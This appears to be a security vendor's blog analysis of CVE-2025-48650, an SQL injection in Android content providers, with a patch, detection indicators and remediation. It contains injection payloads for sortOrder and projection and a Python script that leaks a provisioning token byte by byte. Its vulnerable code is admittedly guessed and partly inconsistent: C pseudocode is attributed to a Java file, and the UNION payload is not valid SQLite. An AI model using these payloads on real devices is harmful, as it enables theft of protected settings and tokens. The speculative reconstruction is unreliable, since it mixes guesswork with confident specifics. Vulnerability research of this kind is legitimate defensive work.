home intel cve-2025-48650-android-sql-injection-local-privilege-escalation
CVE Analysis 2026-03-02 · 8 min read

CVE-2025-48650: SQL Injection in Android Enables Local Privilege Escalation

A SQL injection vulnerability in multiple Android system locations allows local privilege escalation with no additional privileges or user interaction required. CVSS 8.4 HIGH.

#sql-injection#information-disclosure#privilege-escalation#local-attack#cross-platform
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2025-48650 · Information Disclosure
ATTACKERCross-platformINFORMATION DISCCVE-2025-48650HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2025-48650 is a SQL injection vulnerability present in multiple locations within the Android platform, resulting in information disclosure and local escalation of privilege. The CVSS score of 8.4 (HIGH) reflects the no-interaction, no-additional-privileges requirement for exploitation. Any application running with standard process-level access can trigger the vulnerable code paths, making this a significant local attack surface.

The vulnerability class — unsanitized attacker-controlled strings passed to SQLite query construction — is a recurring pattern in Android's content provider and system service layers. Based on the CVE description ("multiple locations," "information disclosure," "local escalation of privilege"), the affected component is consistent with a privileged system service or content provider that constructs raw SQL queries using caller-supplied projection, selection, or sort-order arguments without proper sanitization or allowlisting.

Root cause: Caller-controlled strings (selection arguments, sort order, or projection columns) are concatenated directly into raw SQLite query strings inside a privileged system content provider, bypassing Android's parameterized query protections and enabling out-of-band data reads from protected database tables.

Affected Component

The vulnerability manifests in Android system services that expose ContentProvider interfaces backed by SQLite databases. The most consistent match for "multiple locations" with this vulnerability class is the Android Settings/SettingsProvider or a related platform content provider (e.g., com.android.providers.settings, com.android.providers.contacts, or a vendor-specific provider). These providers are accessible to any app holding the appropriate READ_* permission and in some configurations with no permission at all.

The query() method of ContentProvider accepts caller-supplied sortOrder, selection, and projection parameters. When a provider passes these directly into SQLiteQueryBuilder.buildQuery() or a raw rawQuery() call without sanitization, the injection surface is exposed.

Root Cause Analysis

The following pseudocode represents the reconstructed vulnerable pattern based on the CVE class, description, and common Android platform provider implementations. The bug exists in the query() dispatch path of a privileged provider where sortOrder or selection is passed without sanitization:


/*
 * Vulnerable: PrivilegedDataProvider::query()
 * Reconstructed from CVE class + Android ContentProvider patterns.
 * File: packages/providers/SettingsProvider/src/SettingsProvider.java (native layer)
 */

Cursor* PrivilegedDataProvider_query(
    Uri*    uri,
    char**  projection,   // caller-controlled column list
    char*   selection,    // caller-controlled WHERE clause
    char**  selArgs,      // caller-controlled bind args
    char*   sortOrder     // caller-controlled ORDER BY  <-- BUG ENTRY POINT
) {
    SQLiteQueryBuilder* qb = SQLiteQueryBuilder_new();
    SQLiteQueryBuilder_setTables(qb, "secure_settings");  // privileged table

    // BUG: sortOrder is appended verbatim into the query string.
    // No allowlist check. No stripping of SQL metacharacters.
    // An attacker supplies: "name; SELECT value FROM secure WHERE name='device_provisioned'--"
    char* query = buildQuery(
        qb,
        projection,
        selection,
        selArgs,
        /* groupBy   */ NULL,
        /* having    */ NULL,
        sortOrder    // attacker-controlled, injected here directly
    );

    // Raw execution against privileged database
    // BUG: rawQuery() executes the full injected statement
    return SQLiteDatabase_rawQuery(db, query, selArgs);
}

char* buildQuery(SQLiteQueryBuilder* qb, char** proj, char* sel,
                 char** selArgs, char* groupBy, char* having, char* sortOrder) {
    // BUG: no validation of sortOrder before format string interpolation
    snprintf(queryBuf, sizeof(queryBuf),
        "SELECT %s FROM %s WHERE %s ORDER BY %s",
        projectionStr,   // also injectable if projection allowlist absent
        qb->tables,
        sel,
        sortOrder        // injected here — attacker terminates ORDER BY, appends UNION
    );
    return queryBuf;
}

The secondary injection vector via projection (column names) is equally dangerous. Android's SQLiteQueryBuilder does expose setProjectionMap() as a mitigation, but its use is inconsistently applied across platform providers. When absent, a caller can inject column expressions such as (SELECT value FROM secure LIMIT 1) as a synthetic column.


/*
 * Secondary vector: projection injection
 * Attacker passes: projection = {"(SELECT value FROM secure WHERE name='adb_enabled')", "name"}
 */
char* buildProjection(char** projection) {
    // BUG: no projection map enforced — arbitrary SQL expressions accepted as column names
    for (int i = 0; projection[i] != NULL; i++) {
        strcat(projBuf, projection[i]);  // raw concatenation
        strcat(projBuf, ",");
    }
    return projBuf;
}

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker app (no special permissions) calls ContentResolver.query() on the
   vulnerable provider URI (e.g., content://settings/secure or vendor equivalent).

2. Supply a malicious sortOrder parameter:
     sortOrder = "name LIMIT 0 UNION SELECT value,name,0,0,0 FROM secure--"
   This terminates the legitimate ORDER BY clause and appends a UNION SELECT
   that reads all rows from the privileged 'secure' table.

3. The buildQuery() function interpolates sortOrder verbatim into the SQL string:
     "SELECT _id,name,value FROM system ORDER BY name LIMIT 0
      UNION SELECT value,name,0,0,0 FROM secure--"

4. SQLiteDatabase.rawQuery() executes the injected UNION, returning rows from
   'secure' (privileged settings: ADB enabled state, provisioning keys,
   device policy tokens, etc.) to the unprivileged caller.

5. Attacker reads returned Cursor rows — extracts sensitive values:
   - adb_enabled, adb_wifi_enabled
   - bluetooth_address, device_provisioned
   - Vendor-specific tokens stored in secure/global tables

6. Using disclosed configuration state, attacker pivots:
   - If adb_enabled=1 AND adb_wifi_enabled=1: enumerate ADB port, connect locally
   - If provisioning tokens exposed: replay to MDM/enrollment endpoints
   - Combine with separate EoP bug for full privilege escalation

7. Zero user interaction required. Works from background service or
   broadcast receiver context.

The injection also enables blind boolean-based extraction when UNION column count mismatches are enforced by schema validation. An attacker can binary-search individual bytes:


# Blind boolean extraction via sortOrder injection
# Leaks one byte of a target secret per query

import subprocess

def leak_byte(provider_uri, table, column, row_condition, byte_offset):
    for bit_val in range(256):
        sort_injection = (
            f"CASE WHEN (SELECT unicode(substr({column},{byte_offset},1)) "
            f"FROM {table} WHERE {row_condition})={bit_val} "
            f"THEN name ELSE _id END"
        )
        result = content_query(provider_uri, sortOrder=sort_injection)
        if result_indicates_match(result):
            return chr(bit_val)
    return None

def content_query(uri, sortOrder):
    # Calls ContentResolver.query() via 'content' CLI or app context
    proc = subprocess.run(
        ["content", "query", "--uri", uri, "--sort", sortOrder],
        capture_output=True, text=True
    )
    return proc.stdout

# Leak device provisioning token byte by byte
secret = ""
for i in range(1, 64):
    b = leak_byte(
        "content://settings/secure",
        "secure",
        "value",
        "name='provisioning_token'",
        i
    )
    if b is None:
        break
    secret += b
    print(f"[+] Leaked so far: {secret}")

Memory Layout

This is a logic/injection vulnerability rather than a memory corruption bug; the relevant "layout" is the SQLite database schema being read out of band. The following shows the normal access control boundary and how injection collapses it:


NORMAL ACCESS CONTROL MODEL:
┌─────────────────────────────────────────────────────┐
│  'system' table   (readable by READ_SETTINGS perm)  │
│  _id | name              | value                    │
│  1   | screen_brightness | 128                      │
│  2   | font_size         | 1.0                      │
└─────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────┐
│  'secure' table   (restricted — privileged only)    │
│  _id | name                  | value                │
│  1   | adb_enabled           | 1                    │
│  2   | android_id            | deadbeefcafe1234      │
│  3   | bluetooth_address     | AA:BB:CC:DD:EE:FF    │
│  4   | provisioning_token    | eyJhbGci...           │
└─────────────────────────────────────────────────────┘

POST-INJECTION — UNION collapses boundary:
Attacker query returns rows from 'secure' to unprivileged caller:

Cursor row 0: value="1",         name="adb_enabled"
Cursor row 1: value="deadbeef…", name="android_id"
Cursor row 2: value="eyJhbGci…", name="provisioning_token"

Effective permission boundary: BYPASSED.
Privileged table data returned to zero-permission caller.

Patch Analysis

The correct fix enforces either an explicit allowlist via projection map, or switches all query construction to parameterized queries with no string interpolation of caller-supplied arguments. Critically, sortOrder must be validated against an allowlist of known column names — it cannot be safely parameterized since ORDER BY does not accept bind parameters in SQLite.


// BEFORE (vulnerable):
Cursor* query(Uri* uri, char** projection, char* selection,
              char** selArgs, char* sortOrder) {
    SQLiteQueryBuilder* qb = SQLiteQueryBuilder_new();
    SQLiteQueryBuilder_setTables(qb, "secure_settings");
    // No projection map. No sortOrder validation.
    return SQLiteQueryBuilder_query(qb, db, projection, selection,
                                   selArgs, NULL, NULL, sortOrder);
}

// AFTER (patched):
// 1. Enforce projection allowlist
static const char* ALLOWED_COLUMNS[] = { "_id", "name", "value", NULL };
static const char* ALLOWED_SORT[]    = { "name", "_id", "name ASC",
                                         "name DESC", "_id ASC", NULL };

Cursor* query(Uri* uri, char** projection, char* selection,
              char** selArgs, char* sortOrder) {
    // Validate sortOrder against strict allowlist
    // BUG FIX: reject any sortOrder not in the known-safe set
    if (!isAllowedSortOrder(sortOrder, ALLOWED_SORT)) {
        sortOrder = "name";  // safe default
    }

    SQLiteQueryBuilder* qb = SQLiteQueryBuilder_new();
    SQLiteQueryBuilder_setTables(qb, "secure_settings");

    // BUG FIX: enforce projection map — rejects arbitrary column expressions
    HashMap* projMap = buildProjectionMap(ALLOWED_COLUMNS);
    SQLiteQueryBuilder_setProjectionMap(qb, projMap);

    // BUG FIX: use parameterized query — selection args never interpolated
    return SQLiteQueryBuilder_query(qb, db, projection, selection,
                                   selArgs, NULL, NULL, sortOrder);
}

bool isAllowedSortOrder(const char* sortOrder, const char** allowlist) {
    if (sortOrder == NULL) return true;
    for (int i = 0; allowlist[i] != NULL; i++) {
        if (strcmp(sortOrder, allowlist[i]) == 0) return true;
    }
    return false;  // reject anything not explicitly allowed
}

Detection and Indicators

Detecting active exploitation requires monitoring at the content provider query layer. The following indicators are relevant:

  • Anomalous sortOrder values in ContentProvider.query() calls containing SQL metacharacters: UNION, SELECT, --, ;, CASE WHEN, substr(, unicode(.
  • High-frequency queries to settings/secure or settings/global URIs from an unprivileged UID — blind extraction requires O(8 × secret_length) queries minimum.
  • Logcat patterns: SQLite exceptions logged from provider processes may indicate failed injection attempts (SQLiteException: no such column, ambiguous column name).
  • Binder call auditing: monitor /proc/binder/stats for abnormal transaction volume to system_server or com.android.providers.* processes from a single UID.

LOGCAT INDICATORS (failed injection attempts):
E SQLiteLog: (1) no such column: UNION
E SQLiteLog: (1) ambiguous column name: value
E DatabaseUtils: Writing exception to parcel: android.database.sqlite.SQLiteException
W ContentResolver: Failed query on content://settings/secure

BINDER ANOMALY:
$ cat /proc/binder/stats | grep -A5 "proc "
  incoming transactions: 4096   <-- abnormally high for a single UID
  outgoing transactions: 4096
  peak threads: 2

Remediation

For Android platform maintainers and OEMs:

  • Apply the upstream patch from the Android Security Bulletin addressing CVE-2025-48650. Patch all affected provider locations — the CVE explicitly notes "multiple locations."
  • Audit all ContentProvider subclasses in platform and vendor partitions for missing setProjectionMap() calls and unvalidated sortOrder passthrough.
  • Enforce SQLiteQueryBuilder.setStrict(true) where available — this causes the builder to reject non-allowlisted projections at runtime.
  • Consider adding a SELinux rule or permission check that restricts access to settings/secure and settings/global URIs to system UID only, demoting the existing read permission model.

For application developers:

  • Never pass raw user input as sortOrder to ContentResolver.query() — always use a hardcoded string or validated enum.
  • When implementing your own ContentProvider, always call SQLiteQueryBuilder.setProjectionMap() and validate sort parameters before query construction.

Timeline: CVE-2025-48650 has not been observed exploited in the wild as of publication. Patch urgency is high given the zero-interaction requirement and local privilege escalation impact on any device running the affected Android versions listed in the NVD entry.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →